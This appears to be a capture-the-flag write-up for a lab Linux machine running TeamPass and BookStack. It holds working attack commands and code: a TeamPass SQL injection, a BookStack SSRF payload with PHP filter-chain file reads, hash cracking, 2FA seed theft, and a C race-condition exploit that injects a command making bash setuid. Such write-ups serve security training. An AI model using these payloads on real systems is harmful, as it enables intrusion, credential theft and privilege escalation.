A challenging Linux machine involving SQL injection, SSRF exploitation, and privilege escalation through shared memory manipulation. Features TeamPass and BookStack applications with complex attack chains requiring 2FA bypass and race condition exploitation.
Starting with a comprehensive port scan to identify open services:
nmap -sC -sV -A -T5 10.10.11.56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-23 12:24 CET
Warning: 10.10.11.56 giving up on port because retransmission cap hit (2).
Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 38.47% done; ETC: 12:27 (0:01:26 remaining)
Stats: 0:02:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.45% done; ETC: 12:27 (0:00:00 remaining)
Nmap scan report for 10.10.11.56
Host is up (0.23s latency).
Not shown: 654 filtered tcp ports (no-response), 343 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http Apache httpd
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.77 seconds
Open Ports Summary:
Initial Observations:
checker.htb indicating host-based routingDiscovered host-based routing requirements. Port 80 hosts BookStack:
TeamPass Discovery (Port 8080):
Researching TeamPass vulnerabilities led to CVE-2023-1545 - SQL injection in versions prior to 3.0.0.23:
Verifying API availability before exploitation:
{"error":"Method GET not supported"}
API is enabled - No "API usage is not allowed" message found!
Using the CVE-2023-1545 proof-of-concept to extract user credentials via SQL injection:
./sqli_teampass.sh http://10.10.11.56:8080
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
Exploitation Analysis:
login parameter in authorize endpointSuccessfully extracted password hashes! Now let's crack them:
hashcat hashes_teampass /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Time.Started.....: Sat Feb 23 06:10:15 2025
Time.Estimated...: Sat Feb 23 06:11:45 2025
Cracked bob's password: cheerleader
Admin hash remains uncracked - Likely uses a stronger password
After logging into TeamPass as bob, discovered two stored credential entries:
bob@checker.htbmYSeCr3T_w1kI_P4sSw0rDreaderhiccup-publicly-genesisAttempting SSH access reveals 2FA requirement:
ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
The SSH connection hangs after password, requiring a 2FA code. Need to find the Google Authenticator seed!
Accessing BookStack with the discovered credentials. First, identifying the version and exploring:
<link rel="stylesheet" href="http://checker.htb/dist/styles.css?version=v23.10.2">
BookStack Analysis:
/home → /backup/home_backupResearching vulnerabilities for this specific version:
BookStack version v23.10.2 is vulnerable to SSRF, allowing Local File Read (LFR).
Setting up SSRF exploitation by creating a new page to trigger draft saving:
# Navigate to Books → Create New Book → New Page
# Edit page content to trigger save-draft functionality
# Burp intercepts: PUT /ajax/page/8/save-draft
Before using the complex filter chains, testing basic SSRF functionality:
# Base64 encode target URL (without trailing newline!)
echo -n "http://10.10.14.6/ssrf-poc" | base64
# Result: aHR0cDovLzEwLjEwLjE0LjYvc3NyZi1wb2M
# Payload format:
<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjYvc3NyZi1wb2M'/>
# Python webserver receives:
10.10.11.56 - - [24/Feb/2025 06:26:16] "GET /ssrf-poc HTTP/1.1" 404 -
SSRF confirmed! Server making outbound requests from our payloads.
Implementing blind file read using PHP filter chains technique:
Adapting the filters_chain_oracle_exploit.py for BookStack SSRF:
# Modified requestor.py to base64 encode filter chains:
import base64
# In send_request method:
filter_chain = self.generate_filter_chain()
encoded_payload = base64.b64encode(filter_chain.encode()).decode()
img_tag = f"<img src='data:image/png;base64,{encoded_payload}'/>"
merged_data = self.parse_parameter(img_tag)
Testing file read capability with /etc/hostname:
uv run filters_chain_oracle_exploit.py \
--verb PUT --file /etc/hostname \
--target http://checker.htb/ajax/page/8/save-draft \
--parameter html \
--headers '{"Cookie": "...", "X-CSRF-TOKEN": "..."}'
[+] File /etc/hostname leak is finished!
Y2hlY2tl
b'checke'
Local File Read working! Missing last character due to brute force limitations.
Exploiting SSRF vulnerability to read the Google Authenticator seed. Reference: FluidAttacks SSRF Blog
python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' \
--file '/etc/passwd' --verb PUT --parameter html --proxy http://localhost:8080 \
--headers '{"X-CSRF-TOKEN":"bb8pn0XOu26OIO4Tztuk88NJakQggpGE3jssuTAW",\
"Content-Type":"application/x-www-form-urlencoded",\
"Cookie":"bookstack_session=eyJpdiI6IkhTU0tkS1lyd0VrK0d5OWQ0cndrN1E9PSIsInZhbHVlIjoid2VZZ3NPWFRlVTBSWGV4YjlnUHZadEJ3bERRZmlJNWVsdlhBYnJrS2k3ckRmL0p5VWx6bHExVWljQlArejU1UW8vSVhHc1hwVmk1RU1iVXhRTXRsUHU0YVZQWTMyemFvR3lHWmVGMjZtVEE1NnhXYWNuZDY0R3prNXgyNUJBLzgiLCJtYWMiOiJkMjM1OWRiZTcxZWQ5ZDhiODhjN2M0NmQzYWFlZjI4MzIyNjk4MWY0YjFjYzFkNzQ4NGFmZWJiNzFlY2VjNzQ2IiwidGFnIjoiIn0%3D"}'
Successfully extracted the Google Authenticator secret from the backup directory (remember the backup hint from BookStack!):
/backup/home_backup/home/reader/.google_authenticatorRFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgKDVDBRAODLCWF7I2ONA4K5LQLUE" TOTP_AUTHWith the 2FA secret, generating time-based OTP codes using oathtool:
# Install oathtool
apt install oathtool
# Basic generation (may fail due to time sync)
oathtool -b --totp DVDBRAODLCWF7I2ONA4K5LQLUE
538822
# Check time difference with server
curl -v http://checker.htb -s 2>&1 | grep Date | cut -d' ' -f 4-; date
24 Feb 2025 15:38:37 GMT
Mon Feb 24 03:36:59 PM UTC 2025
# Server is ~2 minutes ahead!
Accounting for server time difference to generate valid codes:
# One-liner to get properly synced 2FA code
oathtool -b --totp DVDBRAODLCWF7I2ONA4K5LQLUE \
--now="$(date -d "$(curl -v http://checker.htb -s 2>&1 | grep Date | cut -d' ' -f 3- | tr -d '\r')" "+%Y-%m-%d %H:%M:%S")"
579533
Successfully authenticating with 2FA:
ssh reader@checker.htb
(reader@checker.htb) Password: hiccup-publicly-genesis
(reader@checker.htb) Verification code: 579533
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
reader@checker:~$ cat user.txt
40dfa1de************************
With the 2FA secret, we can now generate time-based OTP codes and SSH as the reader user!
After gaining SSH access as reader, performing initial system enumeration:
# Check users with shells
grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
reader:x:1000:1000::/home/reader:/bin/bash
# Home directory contents
ls -la /home/
reader
# Reader's home is mostly empty
ls -la ~
total 36
drwxr-x--- 4 reader reader 4096 Feb 24 15:37 .
drwxr-xr-x 3 root root 4096 Jun 12 2024 ..
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan 6 2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15 2024 .cache
-r-------- 1 reader reader 39 Jun 14 2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15 2024 .local
-rw-r--r-- 1 reader reader 807 Jan 6 2022 .profile
-rw-r----- 1 root reader 33 Jun 12 2024 user.txt
Checking sudo privileges reveals the privilege escalation path:
Matching Defaults entries for reader on checker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
Exploring the hash-checker directory reveals several files:
total 68
drwxr-xr-x 2 root root 4096 Jan 30 17:09 .
drwxr-xr-x 5 root root 4096 Jan 30 17:04 ..
-r-------- 1 root root 118 Jan 30 17:07 .env
-rwxr--r-- 1 root root 141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root 750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root 1464 Jan 30 17:09 leaked_hashes.txt
File Analysis:
Examining the leaked hashes file:
wc -l leaked_hashes.txt
24 leaked_hashes.txt
# Contains various bcrypt hashes including bob's:
$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
...
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy # bob's hash
...
Analyzing the privileged script we can execute:
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
Script Analysis:
.env (likely DB credentials)Testing the binary behavior with different users:
# Test various users
sudo /opt/hash-checker/check-leak.sh reader
User not found in the database.
sudo /opt/hash-checker/check-leak.sh admin
User is safe.
sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0xA097B as temp location
User will be notified via bob@checker.htb
Key Observation: The binary uses shared memory for temporary storage - this is our attack vector!
Reverse engineering the check_leak binary reveals the exploitation path:
The script sanitizes input and calls a binary. We need to exploit shared memory manipulation!
Creating a race condition exploit targeting the shared memory mechanism:
Creating a race condition exploit using shared memory injection:
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#define SHM_SIZE 0x400 // 1024 bytes
#define SHM_MODE 0x3B6 // Permissions: 0666 in octal
int main(void) {
// Seed the random number generator with the current time.
time_t current_time = time(NULL);
srand((unsigned int)current_time);
// Generate a random number and apply modulo 0xfffff to generate the key.
int random_value = rand();
key_t key = random_value % 0xfffff;
// Print the generated key in hexadecimal.
printf("Generated key: 0x%X\n", key);
// Create (or get) the shared memory segment with the generated key.
// IPC_CREAT flag is used to create the segment if it does not exist.
int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
if (shmid == -1) {
perror("shmget");
exit(EXIT_FAILURE);
}
// Attach to the shared memory segment.
char *shmaddr = (char *)shmat(shmid, NULL, 0);
if (shmaddr == (char *)-1) {
perror("shmat");
exit(EXIT_FAILURE);
}
// Define the payload string to be written.
const char *payload = "Leaked hash detected at Sat Feb 22 23:21:48 2025 > '; chmod +s /bin/bash;#";
// Write the payload to the shared memory segment.
snprintf(shmaddr, SHM_SIZE, "%s", payload);
// Optionally, print the content that was written.
printf("Shared Memory Content:\n%s\n", shmaddr);
// Detach from the shared memory segment.
if (shmdt(shmaddr) == -1) {
perror("shmdt");
exit(EXIT_FAILURE);
}
return 0;
}
Executing the privilege escalation attack through coordinated timing:
gcc -o speed speed.c
while true; do ./speed; donesudo /opt/hash-checker/check-leak.sh bob/bin/bash -p# Successful exploitation output
reader@checker:~$ /bin/bash -p
bash-5.1# id
uid=1000(reader) gid=1000(reader) euid=0(root) egid=0(root) groups=0(root),1000(reader)
bash-5.1# cat /root/root.txt
[ROOT_FLAG_CONTENT]
Challenge completed! The root flag has been captured through a sophisticated multi-stage attack chain.
Challenge completed! The root flag has been captured through a sophisticated attack chain involving: